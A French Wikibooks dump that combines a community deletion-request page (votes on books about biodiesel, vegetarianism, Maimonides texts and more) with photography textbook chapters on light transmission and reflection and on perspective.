je propose de faire pareil. [[Utilisateur:Greudin|Greudin]] : '''Supprimer''' ou '''déplacer''' si il y a un endroit pour accueillir ça... et étendre à [[Halakhot Yesodei Hattora]] en entier. Je place les bandeaux qui vont bien. [[Utilisateur:Guillaumito|Guillaumito]] 23 sep 2005 à 17:52 (UTC) ::Wikisource semble être le bon endroit pour déplacer en fait toute la section ''Mishne Torah''. :::'''Déplacer''' si vous voulez, mais supprimer? Et puis quoi encore ?![[Utilisateur:Inyan|Inyan]] 5 oct 2005 à 19:17 (UTC) [[s:Halakhot Yesodei Hattora]] est maintenant sur Wikisource, j'ai déplacé aussi les 10 sous pages : *[[s:Halakhot Yesodei Hattora - Pereq I|Pereq I]] *[[s:Halakhot Yesodei Hattora - Pereq II|Pereq II]] *[[s:Halakhot Yesodei Hattora - Pereq III|Pereq III]] *[[s:Halakhot Yesodei Hattora - Pereq IV|Pereq IV]] *[[s:Halakhot Yesodei Hattora - Pereq V|Pereq V]] *[[s:Halakhot Yesodei Hattora - Pereq VI|Pereq VI]] *[[s:Halakhot Yesodei Hattora - Pereq VII|Pereq VII]] *[[s:Halakhot Yesodei Hattora - Pereq VIII|Pereq VIII]] *[[s:Halakhot Yesodei Hattora - Pereq IX|Pereq IX]] *[[s:Halakhot Yesodei Hattora - Pereq X|Pereq X]] Mais aussi : [[Sefer Madâ]], [[Mishne Torah]], ils n'avaient pas le bandeau de suppression mais j'ai considéré que c'était lié. Voilà, à vérifier. [[Utilisateur:Greudin|Greudin]] 13 oct 2005 à 09:50 (UTC) ==[[Programmation C ANSI]]== Je n'avais pas fait l'effort de lire entièrement l'autre reference de [[programmation C]], mais il apparait que c'est déjà une base solide pour travailler ce bouquin... Donc je propose que [[programmation C ANSI]] soit supprimé parce qu'il fait double emploi. - [[Utilisateur:Zulul|Zulul]] 21 sep 2005 à 21:11 (UTC) :Suppression effectuée. [[Utilisateur:Guillaumito|Guillaumito]] 21 sep 2005 à 21:30 (UTC) ==[[Wikilivres:Nous Contacter]]== Confusion avec Bistro par débutant [[Utilisateur:Greudin|Greudin]] 10 oct 2005 à 21:35 (UTC) ==[[LSF/Planning]] et sous pages== Wikilivres n'est pas un groupware, cette page et sous pages à sa place dans une page de discussion ou utilisateur, mais ce n'est pas urgent. [[Utilisateur:Greudin|Greudin]] 13 oct 2005 à 09:07 (UTC) ==[[Modèle:AutresProjetsWikimedia]]== Déplacé vers [[modèle:projets Wikimedia]], prière d'utiliser des titres de modèles très explicites et même simpliste pour favoriser la participation des débutants même pour ce genre de tâches évoluées (modèles, etc). [[Utilisateur:Greudin|Greudin]] ==[[Mathematiques du traitement du signal]]== Titre (s/e/é). [[Utilisateur:Greudin|Greudin]] ==[[Les 120 journées de Sodome]]== Œuvre vraisemblablement du domaine publique, à sauvegarder sur Wikisource ? [[Utilisateur:Greudin|Greudin]] Tès juste - j'ai eu peur que la proposition a suppression soit de la censure basique. [[Utilisateur:Ancholie|Ancholie]] Fait. [[Utilisateur:Marc|Marc]] 23 oct 2005 à 09:10 (UTC) cf. [[s:Les Cent-Vingt journées de Sodome ou l'école du libertinage]] [[Utilisateur:Greudin|Greudin]] ==[[:Image:Londres1.jpg]]== Photo en basse résolution (impossibilité d'imprimer) et sur [[Commons:|commons]] [[Utilisateur:Greudin|Greudin]] 22 oct 2005 à 11:27 (UTC) : *'''Supprimer''' : J'ai trouvé [[:Image:Houses.of.parliament.overall.arp.jpg]] qui m'a l'air sensiblement identique mais en bien meilleure résolution. [[Utilisateur:YolanC|YolanC]] 30 oct 2005 à 20:55 (UTC) ::fait. [[Utilisateur:Greudin|Greudin]] ==[[CES et SES]]== Bonjour, Je propose de supprimer cette page dont j'ai transféré le contenu sur [[Français/C'EST, S'EST, CES et SES]]. Comme il s'agit de la même homonymie, il me semble plus intéressant de les placer sur la même page (même si pour l'instant il n'y a pas encore grand chose). [[Utilisateur:Esope|Esope]] 11 novembre 2005 à 23:23 (UTC) *'''supprimer''' [[Utilisateur:Greudin|Greudin]] 08:58, 12 novembre 2005 (UTC) ::Fait. [[Utilisateur:Marc|Marc]] 24 novembre 2005 à 11:43 (UTC) ==[[Arts plastiques]]== En l'état, n'est ni un wikilivre, ni une faculté de la wikiversité. [[Utilisateur:Greudin|Greudin]] 26 oct 2005 à 11:05 (UTC) ::Fait. [[Utilisateur:Marc|Marc]] 24 novembre 2005 à 11:24 (UTC) == [[Le Biodiesel]] == D'après : http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Le_Bistro/12_septembre_2005#Coup_de_gueulante. [[Utilisateur:Caton|Caton]] 14 sep 2005 à 08:54 (UTC) :Supprimer tout le wikibook ou juste les texte d'intros ? bah c'est le copier/coller d'un site de souvenir .. --[[Utilisateur:M4RC0|M4RC0]] 14 sep 2005 à 19:36 (UTC) * <s>'''Supprimer''' je l'aime beaucoup ce wikibooks. Mais après tout, il est sur un autre site au moins aussi bien référencé que Wikibooks.</s>(Vote non signé. [[Utilisateur:Marc|Marc]] 2 oct 2005 à 13:57 (UTC)) * '''Supprimer''', à moins que quelqu'un réussisse à neutraliser. - [[Utilisateur:Darkdadaah|Dakdada]] [[Discussion Utilisateur:Darkdadaah|<small>(discuter)</small>]] 14 sep 2005 à 20:16 (UTC) * '''Conserver'''. - [[Utilisateur:Loïc|Loïc]] 14 sep 2005 à 21:15 (UTC) * Neutraliser les passages avec pdv (en commentant par exemple : <nowiki><!-- --></nowiki>), '''supprimer''' si c'est impossible. [[Utilisateur:Greudin|Greudin]] * '''supprimer''' [[Utilisateur:Pfv2|Pfv2]] 4 oct 2005 à 15:04 (UTC) *<s>'''Conserver'''. - [[Utilisateur:Sébastien|Sébastien]] 14 oct 2005 à 21:49 (UTC)</s> ''Compte utilisateur postérieur à la demande de suppression : [[Utilisateur:Uglorca]]'' * '''supprimer''' [[Utilisateur:Mucols|Mucols]] 30 oct 2005 à 06:34 (UTC) : tel qu'il est ce livre n'est pas encyclopédique, ni pédagogique... il serait souhaitable de voir apparaître un livre (ou une étagère) sur les énergies renouvelables, dont le biodiesel serait un élément. L'aspect militant, ironique, personnalisé... dépasse le stade du simple point de vue qui est déjà limite dans l'esprit wikipédia. On est là à la limite de l'irresponsable sauf à prouver que les quelques champs de tournesol (cultivés artisanalement) peuvent faire tourner les moteurs de toute notre civilisation. Quoiqu'en dise l'auteur, les camenberts, expliquant les bilans énergétiques, les quantités, les productions de CO2 eussent été utiles... afin de montrer qu'on ne reste pas au niveau de la bidouille. La neutralisation me paraît un travail trop important, risquant de cacher ce que devrait être un livre sur le biodiesel. Solution : changer le titre et le placer dans une étagère... «Polémiques». **D'accord sur le fait que le ton employé dans cet ouvrage ne soit pas "encyclopédique". Cependant sur le fond, parler d'irresponsabilité, concernant l'usage d'huile végétale pure comme carburant me parait tres obtu comme jugement. En effet, c'est oublier que cette filière est volontairement mise de coté par le lobby pétrolier et ne fait donc l'objet d'aucunes recherches serieurses visant à la développer à long terme. On note par exemple que les algues oléagineuses on un rendement plus de 100 fois supérieures aux espèces végétales employées aujourd'hui pour produire du biocarburant (colza, tournesol). Naturellement cette voie de recherche (algues oléagineuses) ne fait l'objet d'aucun crédits en France... (Par contre en Chine et aux Etats Unis ils on flairés les choses et lachent des crédits ! ...) Bref, ne voir qu'un pis aller dans cette filière sous prétexte d'insufisance d'espace, c'est faire comme avec l'éolien : on s'y met qu'a reculon car de toute facon y'a pas assez de place pour faire 100% de l'électricité avec. Résultat, la maitrise de la technologie est aux mains de ceux qui ont eu le courrage d'y mettre des sous (allemagne, pays bas, dannemark). **Je souhaite répondre à le remarque ci-dessus (non signée) mais ce n'est pas le lieu... où puis-je ? [[Utilisateur:Mucols|Mucols]] 3 nov 2005 à 19:04 (UTC) *Conserver : la documentation sur ce sujet pas si polémique est trop rare... Hiboo *Conserver : J'aime bien les commentaires annexes sur la mauvaise foi des gouvernemnts, ça sonne Encyclopédie de Diderot : Gouvernement : collège de personnes chargés de veiller aux intérêts des entreprises qui financent de manière occultes leur campagnes electorales et qui pour les remercier prennent des décisions de manière à ce que cela demeure possible. *: Le problème c'est que ici ce '''n'est pas''' l'encyclopédie de Diderot : la neutralité de point de vue est de mise. Et c'est bien pour ce genre de phrases que ce livre est demandé à la suppression. D'ailleurs, j'exagère peut-être, mais sio on met à part les quelques remarques d'IP plus ou moins constructives, le vote de cette page penche majoritairement vers la suppression. De toute façon le livre est consultable ailleurs sur le net ([http://www.tierranostra.org/pdf/biodiesel.pdf ici par exemple]), alors pourquoi le garder si personne ne peut/veut le neutraliser ? - [[Utilisateur:Darkdadaah|Dakdada]] [[Discussion Utilisateur:Darkdadaah|<small>(discuter)</small>]] 21 novembre 2005 à 21:33 (UTC) *'''Reformuler?''' La polémique est certes intéressante, mais ne pourrait-il pas y avoir juste l'aspect 'trucs et astuces' dans wikibooks, l'aspect polémique / choix de société / on nous manipule pouvant trouver une place sur de nombreux forums j'imagine. Très intéressant en tout cas. Majorité (4/1) pour la suppression. Je supprime aujourd'hui. [[Utilisateur:Marc|Marc]] 24 novembre 2005 à 11:33 (UTC) :En l'état oui, à moins qu'une bonne âme arrive à en extraire les informations objectives pour démarrer un livre tout neuf. [[Utilisateur:Greudin|Greudin]] ::Il pourrait être utile de créer une page en dehors de l'espace des livres, dans le but de conserver des textes de ce genre. [[Utilisateur:Marc|Marc]] 24 novembre 2005 à 12:28 (UTC) Fait. [[Utilisateur:Marc|Marc]] 24 novembre 2005 à 16:25 (UTC) == [[Végétarien & Végétalien - Vivre sans manger les animaux]] == D'après : http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Le_Bistro/12_septembre_2005#Coup_de_gueulante. [[Utilisateur:Caton|Caton]] 14 sep 2005 à 09:13 (UTC) <s>* '''Conserver''' - Au pire, supprimer la partie ''Raisons pour être végétarien ou végétalien'' mais garder les pages présentant des infos pour ceux qui sont déjà végétariens (depuis peu) ou ceux qui ont déjà envi de devenir végétariens. </s> (Vote non signé. [[Utilisateur:Marc|Marc]] 2 oct 2005 à 13:57 (UTC)) * '''Supprimer''', à moins de réussir à neutraliser l'ensemble du livre, ce qui peut se révéler très difficile. J'ai hélas du mal à trouver des passages qui ne soient pas pdv. - [[Utilisateur:Darkdadaah|Dakdada]] [[Discussion Utilisateur:Darkdadaah|<small>(discuter)</small>]] 14 sep 2005 à 20:16 (UTC) * '''Neutraliser''' les passages avec pdv (en commentant par exemple : <nowiki><!-- --></nowiki>), '''supprimer''' si c'est impossible. [[Utilisateur:Greudin|Greudin]] * '''Conserver''' [[Utilisateur:Loïc|Loïc]] 16 sep 2005 à 16:41 (UTC) * '''Supprimer''' Une énorme partie du livre manque de neutralité. Le livre affirme des faits qui sont loins d'être fondés, tire des conclusions très rapidement, présente peu de preuves derrières certaines affirmations, et il y a beaucoup de passage qui sont hors-sujet sur par exemple, pourquoi il ne faut pas faire de feu dans la forêt pour ne pas tuer les pauvres animaux (quel est le rapport avec le végétarisme). J'appuie l'idée de supprimer ce livre, car il y aurait une quantité incroyable de travail à faire. [[Utilisateur:Pfv2|Pfv2]] 20 sep 2005 à 21:22 (UTC) * '''Supprimer''' [[Utilisateur:Guillaumito|Guillaumito]] 23 sep 2005 à 17:51 (UTC) *<s>'''Conserver''' [[Utilisateur:Sébastien|Sébastien]] 15 oct 2005 à 21:43 (UTC)</s> ''Compte utilisateur postérieur à la demande de suppression : [[Utilisateur:Uglorca]]'' *<s>'''Conserver''' [[Utilisateur:uglorca|uglorca]] 18 oct 2005 à 19:21 (UTC)</s> encore le même utilisateur. [[Utilisateur:Greudin|Greudin]] *<s>'''Conserver''' Rad</s> - Je trouve que ce livre a beaucoup d'informations pertinentes. J'ai l'impression que ceux qui veulent supprimer le livre c'est pour des raisons de censures, car ils n'aiment pas voir des faits sur le végétarisme. 20 octobre 2005 (UTC) ''Vote d'adresse IP invalide, inscrivez-vous et par-ti-ci-pez.'' Le travail de neutralisation est énorme, au secours. [[Utilisateur:Greudin|Greudin]] 22 oct 2005 à 10:57 (UTC) *'''NEutraliser'' il faut effectivement un peu pondérer ce bouquin même si je pense qu'il a sa place dans les wikibooks, il ne peut pas rester là en état, ca serait un peu n'importe quoi et nuirait à la crédibilité de l'ensemble, même aux yeux de vége-liens. *<s>'''Supprimer'''</s> Ce livre ne rend pas vraiment service au vegeta*isme. Le réécrire complètement serait je pense à la fois plus rapide et plus efficace. --[[Utilisateur:Cutter|Cutter]] 30 oct 2005 à 21:36 (UTC) ''Compte utilisateur créé récemment et sans contributions'' ce n'est clairement pas neutre ! d'ailleurs, c'est écrit dans l'intro : le but est de faire partager les idées, pas uniquement d'informer. : ce n'est pas seulement non-neutre, c'est aussi bourré de renseignements faux, non fondés, et peut-être même dangereux. En plus ce n'est pas si bien écrit. [[Utilisateur:Pfv2|Pfv2]] 18 novembre 2005 à 16:46 (UTC) Si je compte bien : 4 pour la suppression, un contre. Je supprime aujourd'hui. [[Utilisateur:Marc|Marc]] 24 novembre 2005 à 11:25 (UTC) Fait. [[Utilisateur:Marc|Marc]] 24 novembre 2005 à 16:16 (UTC) ==[[Nouveau livre]]== euh... [[Utilisateur:Weft|Weft]] 22 oct 2005 à 12:38 (UTC) *'''Supprimer''' entre le travail original et la fiction. [[Utilisateur:Greudin|Greudin]] *'''Supprimer''' essais sans but et vaniteux. [[Utilisateur:Zulul|Zulul]] 23 novembre 2005 à 15:13 (UTC) ::Fait. [[Utilisateur:Marc|Marc]] 24 novembre 2005 à 11:23 (UTC) ==[[Bible Histoire et Objectivité]]== Essai partisan, sophismes, Wikilivres n'accueille pas ce genre de travail original, peut être à déplacer vers Wikipen. [[Utilisateur:Greudin|Greudin]] * '''supprimer''' un livre ne peut se déduire à une page... Un plan d'ajouts futurs. Tel quel, si aucune évolution n'intervient, cela n'a qu'un intérêt réduit. Mais cela demande une définition claire de ce que peut être un wikilivre.[[Utilisateur:Mucols|Mucols]] 6 nov 2005 à 19:39 (UTC) ::Fait. [[Utilisateur:Marc|Marc]] 24 novembre 2005 à 11:41 (UTC) ==[[Mathematiques du traitement du signal]]== Encore une fois ici car l'utilisateur débutant (81.185.34.*) est faché avec l'orthographe, pourtant il contribue à [[Mathématiques du traitement du signal]] sans remarquer de différence. Les redirections de fautes d'orthographes courantes ont été depuis longtemps supprimées pour ne pas tromper le lecteur. [[Utilisateur:Greudin|Greudin]] * l'utilisateur est peut être débutant en ortaugraf mais pas en maths, laissez ce livre en ligne svp. :Fait. Le bon livre est : [[Mathématiques du traitement du signal]]. [[Utilisateur:Greudin|Greudin]] 7 décembre 2005 à 15:36 (UTC) ==[[Image:Japan flag medium.png]]== Image présente sur Commons: [[Utilisateur:Greudin|Greudin]] ==[[Discussion Image:Plato i sin akademi, av Carl Johan Wahlbom (ur Svenska Familj-Journalen).png]]== Un OVNI. [[Utilisateur:Greudin|Greudin]] 24 novembre 2005 à 21:14 (UTC) :Fait. [[Utilisateur:Greudin|Greudin]] ==[[Psychologie de l’enfant et de l’adolescent]]== Plan embryonnaire depuis trop longtemps. [[Utilisateur:Greudin|Greudin]] :Fait. [[Utilisateur:Greudin|Greudin]] ==[[:Catégorie:Suppression]]== Des pages sont listées à supp mais n'apparaissent pas ici. [[Utilisateur:Greudin|Greudin]] :Fait. [[Utilisateur:Greudin|Greudin]] ==[[1.2. Les technologies utilisées]]== Page orpheline qui ressemble fort à un copier/coller. [[Utilisateur:Guillaumito|Guillaumito]] 16 janvier 2006 à 22:56 (UTC) *supprimer, orpheline et rien de nouveau comparé à l'article encyclopédique. [[Utilisateur:Greudin|Greudin]] 17 janvier 2006 à 17:55 (UTC) * effacer [[Utilisateur:Pfv2|Pfv2]] 17 janvier 2006 à 21:21 (UTC) :Fait [[Utilisateur:Greudin|Greudin]] 21 janvier 2006 à 19:38 (UTC) ==Image inutile à détruire == [[Image:Sous-figure.PNG]] Copiée par erreur avec une extension en majuscule. :Fait [[Utilisateur:Greudin|Greudin]] 21 janvier 2006 à 19:38 (UTC) ==[[Wikimodule:langage C++ niveau1:Etudiant zulul]]== *Données concernant un étudiant de la wikiversité, à caser dans l'espace de l'utilisateur et non dans l'espace de nom des pages de livres car cela fausse les statistiques de pages de livres. [[Utilisateur:Greudin|Greudin]] 23 février 2006 à 18:43 (UTC) *A supprimer [[Utilisateur:Merrheim|Merrheim]] 16 mars 2006 à 07:25 (UTC) ==[[Eichman]] et [[Procès de Eichman à Jérusalem]]== *Articles encyclopédiques à déplacer ou fusionner dans Wikipédia. [[Utilisateur:Greudin|Greudin]] 15 mars 2006 à 19:05 (UTC) *idem que greudin [[Utilisateur:Merrheim|Merrheim]] 15 mars 2006 à 20:01 (UTC) :Déplacés vers l'article encyclopédique : [[w:Adolph Eichman|Adolph Eichman]]. [[Utilisateur:Greudin|Greudin]] 23 mars 2006 à 10:14 (UTC) == [[Blagues]] (suppr.: 3 / conserv.: 5 / neutre : 1) == Long débat déplacé dans [[Wikilivres:Pages à supprimer/archives/blagues]]. == demande de restauration de [[Bridge en wikireader]] == ::J'ai pas trop suivi pourquoi ce wikireader avait disparu ; y-a-t'il eu depuis un autre espace wikipedia et/ou wikimedia dédié spécifiquement aux wikireaders ? en tout cas, ce serait sympa de restaurer ici et seulement pendant quelques jours ce rare projet (les wikireaders sont foisons sur le wiki allemand) afin de voir s'il correspond ou non à la demande cop'collée ci-dessous de Aoineko d'un hommage fait à Treanna, décédé il y a quelques jours à trente un ans et rédacteur de plus de 20 000 contributions sur le wiki principal. [[Utilisateur:82.224.88.52|82.224.88.52]] 22 sep 2005 Il reste à choisir le sujet exact du WikiReader dédié à Treanna. Merci de donner ton avis ici. A☮ineko ✍ 22 septembre 2005 à 16:36 (CEST) ::Dans l'état actuel de mes projets ludiques mes deux wikireaders (le second concernait les salons littéraires autour du siècle de Louis XIV) sont actuellement à un bas niveau de priorité. En effet, je m'étais à l'époque illusionné face au succès de ceux en langue allemande mais, malgré un phénomène de mode au moment de la mort de Trenna, '''le soufflé des wikireaders francophones est bel et bien retombé'''. ::Le seul intérêt actuel d'une éventuelle restauration de cet article sur wikibooks et, surtout, de son historique ainsi que celui de la page de discussion associée, serait de me fournir sans trop d'efforts quelques cop'collés en vue de mon '''livre classique de bridge'''. Ce nouveau projet, sous le titre de [[Bridge cinquante ans après]] et faisant fi de tout support numérique d'un ''Deutsch Buch'', serait tout bêtement destiné, une fois achevé ici, à être '''lu sur papier''' et non sur écran cinquante ans après le seul véritable monument [[w:bridge|bridge]]sque de l'édition francophone : l'encyclopédie d'Albarran. Alencon aka [[Utilisateur:82.224.88.52|82.224.88.52]] 13 janvier 2006 à 18:00 (UTC) :::Je propose de restaurer l'article et discu dans l'espace utilisateur le temps de la réécriture (par exemple utilisateur:Alençon/bridge en wikireader ou autre). [[Utilisateur:Greudin|Greudin]] ==[[Eichman]] et [[Procès de Eichman à Jérusalem]]== *Articles encyclopédiques à déplacer ou fusionner dans Wikipédia. [[Utilisateur:Greudin|Greudin]] 15 mars 2006 à 19:05 (UTC) *idem que greudin [[Utilisateur:Merrheim|Merrheim]] 15 mars 2006 à 20:01 (UTC) :Déplacés vers l'article encyclopédique : [[w:Adolph Eichman|Adolph Eichman]]. [[Utilisateur:Greudin|Greudin]] 23 mars 2006 à 10:14 (UTC) == [[Astérix/Source électroniques]] == A supprimer, faute de frappe. -- [[Utilisateur:Carbidfischer|Carbidfischer]] 11 mai 2006 à 14:57 (UTC) :Fait, génial ce livre sur Astérix, presque dévoré ;) [[Utilisateur:Greudin|Greudin]] 12 mai 2006 à 13:15 (UTC) ==Titre d'articles avec fautes== *[[Guide Intranet Territorial]] : usage majuscules. [[Utilisateur:Greudin|Greudin]] 27 avril 2006 à 14:27 (UTC) Image:Doigts.jpg 5360 21703 2005-09-19T10:25:24Z Labourant 567 doigt index ou fleau de la balance? doigt index ou fleau de la balance? Photographie - 04 - Transmission, absorption et réflexion de la lumière 5364 44343 2006-06-11T21:32:51Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_04}} Un rayonnement électromagnétique qui se déplace dans un milieu matériel, se réfléchit sur la surface de séparation de deux milieux transparents ou traverse cette surface est toujours affaibli. Une partie est absorbée, l'énergie correspondante est le plus souvent transformée en chaleur ou parfois convertie en un autre rayonnement par le phénomène de fluorescence. On appelle <math>W(\lambda,T)\,</math> l'énergie incidente correspondant à un rayonnement de longueur d'onde &lambda;. À une température absolue T et pour cette longueur d'onde <math>\lambda\,</math>, on appelle respectivement <math>w_t(\lambda,T)\,</math> l'énergie transmise, <math>w_r(\lambda,T)\,</math>) l'énergie réfléchie et <math>w_a(\lambda,T)\,</math> l'énergie absorbée. :<math>w_t(\lambda,T) = \tau(\lambda,T) \times W(\lambda,T) \,</math> :<math>w_r(\lambda,T) = \rho(\lambda,T) \times W(\lambda,T) \,</math> :<math>w_a(\lambda,T) = \alpha(\lambda,T) \times W(\lambda,T) \,</math> <math>\tau(\lambda,T)\,</math>, <math>\rho(\lambda,T)\,</math> et <math>\alpha(\lambda,T)\,</math> sont respectivement les coefficients de transmission, de réflexion et d'absorption du système pour la radiation de longueur d'onde &lambda; à la température T. On dit aussi transmittance, réflectance et absorbance. La conservation de l'énergie fait que les trois fractions transmise, absorbée et réfléchie ont une somme nécessairement égale à l'énergie incidente totale, de sorte que : :<math>w_t(\lambda,T) + w_r(\lambda,T) + w_a(\lambda,T) = W(\lambda,T)\,</math> et par conséquent : {| border="1" cellpadding="5" cellspacing="0" align="center" |- |<math>\tau(\lambda,T) + \rho(\lambda,T) + \alpha(\lambda,T) = 1 \,</math> |- |} On voit ci-dessous les coefficients de réflexion et de transmission de quelques matériaux. [[Image:Réflexion.png|600px|center]] La zone hachurée correspond au domaine de la lumière visible '''Coefficients de réflexion ou réflectance &rho; :''' * courbe 1 : argent (réfléchit mal le proche UV) * courbe 2 : cuivre (réfléchit peu le bleu) * courbe 3 : aluminium '''Coefficient de transmission ou transmittance &tau; :''' * courbe 4 : silice fondue (transmet uniformément le visible) * courbe 5 : verre bleu de marque Sovirel (absorbe le vert et le rouge) L'or est de très loin le métal qui renvoie le mieux l'infrarouge, d'où son usage fréquent pour les réflecteurs des lampes IR de haute qualité. Photographie - Chapitre 30 - Composition des photographies 5369 22074 2005-09-25T11:55:56Z Jean-Jacques MILAN 114 {{Photographie}} * [[Photographie - 30 - Photographie et perspective|Photographie et perspective]] :: [[Photographie - 30 - Photographie et perspective/Perspective frontale|Perspective frontale]] :: [[Photographie - 30 - Photographie et perspective/Perspective à deux points de fuite|Perspective à deux points de fuite]] :: [[Photographie - 30 - Photographie et perspective/Perspective plafonnante|Perspective plafonnante]] :: [[Photographie - 30 - Photographie et perspective/Perspective plongeante|Perspective plongeante]] Photographie - 30 - Photographie et perspective 5370 43149 2006-05-25T17:39:58Z 68.213.210.245 /* Usage de la diffusion atmosphérique */ : Suppression de l'image, pas libre {{Photographie}} == Généralités == Dans l'immense majorité des cas, la photographie est l'image à deux dimensions d'un sujet en relief, il y a donc a priori perte de la notion de profondeur. Celle-ci peut être restituée dans d'excellentes conditions grâce à la stéréophotographie, mais ce procédé impose des impératifs techniques trop contraignants pour la plupart des applications des images. Le photographe averti doit donc connaître les différentes méthodes qui permettent de jouer avec la sensation de relief. Les photographes dont les travaux sont reconnaissables au premier coup d'œil sont rares. Quelques uns cependant ont laissé une œuvre si fortement marquée par leur personnalité qu'un connaisseur averti saura identifier parmi, par exemple, des milliers de photos de nus, celles qui sont signées Jeanloup Sieff, Helmut Newton, Jean-François Bauret, Robert Mapplethorpe ou encore Jan Saudek. Les signes de reconnaissance sont multiples et subtils : le décor ou l'absence de décor, la manière de choisir son modèle, de régler les éclairages, de susciter des expressions, mais aussi la façon de jouer avec les perspectives. Dans beaucoup de photographies, en particulier dans celles qui montrent des réalisations humaines telles que des bâtiments, des trains, des routes, etc., l'impression de relief est provoquée avant tout par le jeu des formes géométriques, par la convergence de lignes parallèles, etc. C'est pourquoi nous commencerons par étudier les aspects géométriques du problème. Il existe également d'autres photographies dans lesquelles les photographes ont su jouer avec d'autres éléments, à la fois physiques et psychologiques, nous verrons qu'il existe en fait de nombreuses méthodes, combinées ou non, pour s'amuser avec la 3e dimension. <center>'''Mais que font donc les personnages représentés sur ces deux gravures d'Albrecht Dürer ?'''</center> Le premier dispose d'une tige qui matérialise une fois pour toutes un '''point de vue''' et une vitre sur laquelle il dessine directement l'esquisse de son futur tableau. De toute évidence, cet outillage n'a pas été improvisé, mais au contraire conçu pour servir à de multiples reprises. C'est par ce moyen que l'on pouvait obtenir des représentations aussi fidèles que possible de la réalité. [[Image:DURER1.png|400px|center]] Le second personnage opère de façon semblable mais la vitre est remplacée par un quadrillage de fils qui lui permet de reporter le dessin sur une feuille elle aussi quadrillée. [[Image:DURER2.png|400px|center]] Nous noterons au passage que dans les deux cas, l'œil du dessinateur n'est pas situé en face du milieu du cadre ; c'est une différence importante avec les appareils photographiques les plus courants dans lesquels l'axe optique est exactement perpendiculaire en son centre au rectangle qui délimite la surface utille de la pellicule ou du capteur. Seuls des équipements spéciaux permettent de bénéficier des possibilités offertes par la '''bascule''' et le '''décentrement'''. == Définitions == Il faut commencer par définir une fois pour toutes les principaux termes qui seront utilisés par la suite : * le '''point de vue''' O correspond à la position de l'œil qui observe la scène. * le '''tableau''' est le plan (pour l'instant vertical) dans lequel on dessine. * le '''sol''' ou '''géométral''' est un plan de référence, dont on peut choisir la hauteur à volonté, et sur lequel les architectes vont tracer la projection verticale des objets à représenter. * le '''plan d'horizon''' est le plan horizontal qui passe par l'œil. * le '''point principal''' P est le projeté orthogonal de l'œil sur le tableau. * la '''ligne de terre''' est l'intersection du tableau et du sol. * la '''ligne d'horizon''' est l'intersection du tableau et du plan d'horizon, elle passe évidemment par le point principal. [[Image:Définitions perspective.png|500px|center]] == Différents types de perspectives == === Le tableau est vertical === Lorsque le tableau (le plan du film) est vertical, les droites verticales du sujet sont traduites par des droites parallèles et « verticales » sur l'image. ==== Perspective « à un point de fuite » ou « frontale » ==== Les directions caractéristiques des éléments du sujet sont toutes perpendiculaires ou parallèles au tableau, les fuyantes convergent toutes au point principal situé au centre de l'image, les éléments parallèles au plan du tableau sont représentés sans déformation mais avec un plus ou moins rapetissés selon leur éloignement. {| border="1" cellspacing="0" cellpadding="5" |- |[[Image:Vienna fairfax gmu.jpg|240px|center]] |'''Station de métro Fairfax-GMU'''<br><br> La photographie étant prise à hauteur d'homme sur un sol plan et horizontal, on remarque que les têtes de tous les personnages sont à peu près au niveau de la ligne d'horizon, tandis que leurs pieds plus ou moins bas qui nous renseignent sur leur proximité ou leur éloignement.<br><br> Voyez la sous-page consacrée à la '''[[Photographie - 30 - Photographie et perspective/Perspective frontale|perspective frontale]]'''. |- |} ==== Perspective « à deux points de fuite » ==== Les directions caractéristiques des éléments du sujet sont obliques par rapport au tableau, les directions horizontales font partie de « familles » dont les points de fuite se trouvent sur la ligne d'horizon. En l'absence de redressement, cette dernière passe par le milieu de l'image non recadrée. {| border="1" cellspacing="0" cellpadding="5" |- |[[Image:Perspectiva-1.jpg|160px|center]] |On voit ici la façon dont se forme l'image d'un parallélépipède rectangle dans le plan du tableau. |- |[[Image:Agora Universiteit Hasselt.JPG|240px|center]] |'''Agora de l'Université de Hasselt'''<br><br> Le lieu est bien mis en valeur par la rupture délibérée avec la symétrie.<br><br> Voyez la sous-page consacrée à la '''[[Photographie - 30 - Photographie et perspective/Perspective à deux points de fuite|perspective à deux points de fuite]]'''. |- |} === Le tableau (le plan du film) est incliné vers le haut ou vers le bas === Les verticales ne sont plus traduites par des droites parallèles mais convergent vers le haut ou vers le bas. La ligne d'horizon est située respectivement plus bas ou plus haut que le milieu de la photographie. La perspective est dite « à trois points de fuite ». ==== Perspective « plafonnante » ==== L'appareil est incliné vers le haut, les verticales convergent vers le haut. {| border="1" cellspacing="0" cellpadding="5" |- |[[Image:Messe-Torhaus, Frankfurt.jpg|160px|center]] |'''Messe-Torhaus, Francfort'''<br><br> En prolongeant les diverses lignes horizontales parallèles on trouverait divers points permettant de tracer la ligne d'horizon, quant aux verticales, elles convergent légèrement à gauche de l'axe du rectangle, d'où une légère impression de déséquilibre.<br><br> Voyez la sous-page consacrée à la '''[[Photographie - 30 - Photographie et perspective/Perspective plafonnante|perspective plafonnante]]'''. |- |} ==== Perspective « plongeante » ==== L'appareil est incliné vers le bas, les verticales convergent vers le bas. {| border="1" cellspacing="0" cellpadding="5" |- |[[Image:Notizzettelblock.jpg|200px|center]] |'''Bloc-notes'''<br><br> Une image toute simple d'un objet de forme géométrique vue en plongée.<br><br> Voyez la sous-page consacrée à la '''[[Photographie - 30 - Photographie et perspective/Perspective plongeante|perspective plongeante]]'''. |- |} ==== Autres utilisations des points de fuite ==== {| border="1" cellpadding="5" cellspacing="0" |- |[[Image:CarlvonLinne Garden.jpg|240px|center]] |'''Jardin Linné à Uppsala'''<br><br> Le photographe a choisi de placer la ligne d'horizon vers le haut de la photographie, le choix d'une perspective légèrement plongeante correspond au choix de montrer plutôt le jardin que le ciel. Le triangle constitué par l'allée, renforcé par le fronton du bâtiment, nous invite à la visite.<br><br> Voyez la sous-page consacrée aux '''[[Photographie - 30 - Photographie et perspective/Autres utilisations des points de fuite|autres utilisations des points de fuite]]''' |- |} == Répétition d'objets == {| border="1" cellpadding="5" cellspacing="0" |- |[[Image:Canto rodado.jpg|240px|center]] |'''Canto rodado'''<br><br> Difficile de trouver un sujet photographique plus simple que ces galets. Ici, nul point de fuite ne vient structurer l'image. L'impression de profondeur, qui n'exclut pas la perception d'irrégularités dans la surface, tient à deux faits : primo, les galets apparaissent de plus en plus petits au fur et à mesure de l'éloignement et secondo, notre cerveau comprend que leurs dimensions sont réparties de façon homogène dans toute la zone photographiée. Une telle photographie doit être interprétée. |- |[[Image:Sampietrini.jpg|240px|center]] 